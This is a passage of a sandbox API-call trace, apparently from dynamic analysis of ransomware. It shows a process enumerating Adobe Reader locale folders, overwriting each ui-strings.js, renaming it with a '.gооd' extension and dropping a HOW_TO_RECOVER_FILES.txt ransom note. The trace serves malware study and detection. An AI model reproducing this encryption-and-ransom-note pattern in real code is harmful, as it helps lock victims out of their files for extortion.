DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0167.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0167.141] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\nb-no\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0167.742] GetFileType (hFile=0x80c) returned 0x1 [0167.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0167.742] GetFileType (hFile=0x80c) returned 0x1 [0167.743] WriteFile (in: hFile=0x80c, lpBuffer=0x3551238*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3551238*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0167.744] CloseHandle (hObject=0x80c) returned 1 [0167.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0167.745] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl", lpFilePart=0x0) returned 0x69 [0167.745] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0167.745] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.745] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e09, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0167.745] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0167.746] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0167.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0167.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0167.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0167.746] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl", lpFilePart=0x0) returned 0x69 [0167.746] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0167.746] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.746] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e09, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0167.747] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e09, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0167.747] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0167.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0167.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0167.747] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0167.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0167.747] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3560e10 | out: lpFileInformation=0x3560e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e09)) returned 1 [0167.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0167.747] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0167.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0167.747] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0167.748] GetFileType (hFile=0x80c) returned 0x1 [0167.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0167.748] GetFileType (hFile=0x80c) returned 0x1 [0167.748] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0167.748] ReadFile (in: hFile=0x80c, lpBuffer=0x35612e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x35612e8*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0167.749] CloseHandle (hObject=0x80c) returned 1 [0167.749] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0167.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0167.750] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0167.750] GetFileType (hFile=0x80c) returned 0x1 [0167.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0167.750] GetFileType (hFile=0x80c) returned 0x1 [0167.750] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x3e09 [0167.750] WriteFile (in: hFile=0x80c, lpBuffer=0x35627b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x35627b8*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0167.751] CloseHandle (hObject=0x80c) returned 1 [0167.751] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0167.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0167.751] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0167.751] GetFileType (hFile=0x80c) returned 0x1 [0167.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0167.751] GetFileType (hFile=0x80c) returned 0x1 [0167.751] ReadFile (in: hFile=0x80c, lpBuffer=0x3564ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x3564ad8*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0167.914] CloseHandle (hObject=0x80c) returned 1 [0167.915] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0167.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0167.915] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0167.915] GetFileType (hFile=0x80c) returned 0x1 [0167.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0167.915] GetFileType (hFile=0x80c) returned 0x1 [0167.915] WriteFile (in: hFile=0x80c, lpBuffer=0x3402cb8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3402cb8*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0167.915] CloseHandle (hObject=0x80c) returned 1 [0167.915] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0167.915] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0167.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0167.915] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x604d60a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3e19)) returned 1 [0167.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0167.916] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js.gоod")) returned 1 [0167.916] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0167.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0167.917] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\nl-nl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0167.917] GetFileType (hFile=0x80c) returned 0x1 [0167.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0167.917] GetFileType (hFile=0x80c) returned 0x1 [0167.918] WriteFile (in: hFile=0x80c, lpBuffer=0x3470158*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3470158*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0167.919] CloseHandle (hObject=0x80c) returned 1 [0167.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0167.919] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl", lpFilePart=0x0) returned 0x69 [0167.919] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0167.920] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.920] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e51, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0167.920] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0167.920] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0167.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0167.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0167.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0167.920] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl", lpFilePart=0x0) returned 0x69 [0167.920] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0167.920] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.921] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e51, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0167.921] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e51, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0167.921] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0167.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0167.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0167.921] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: 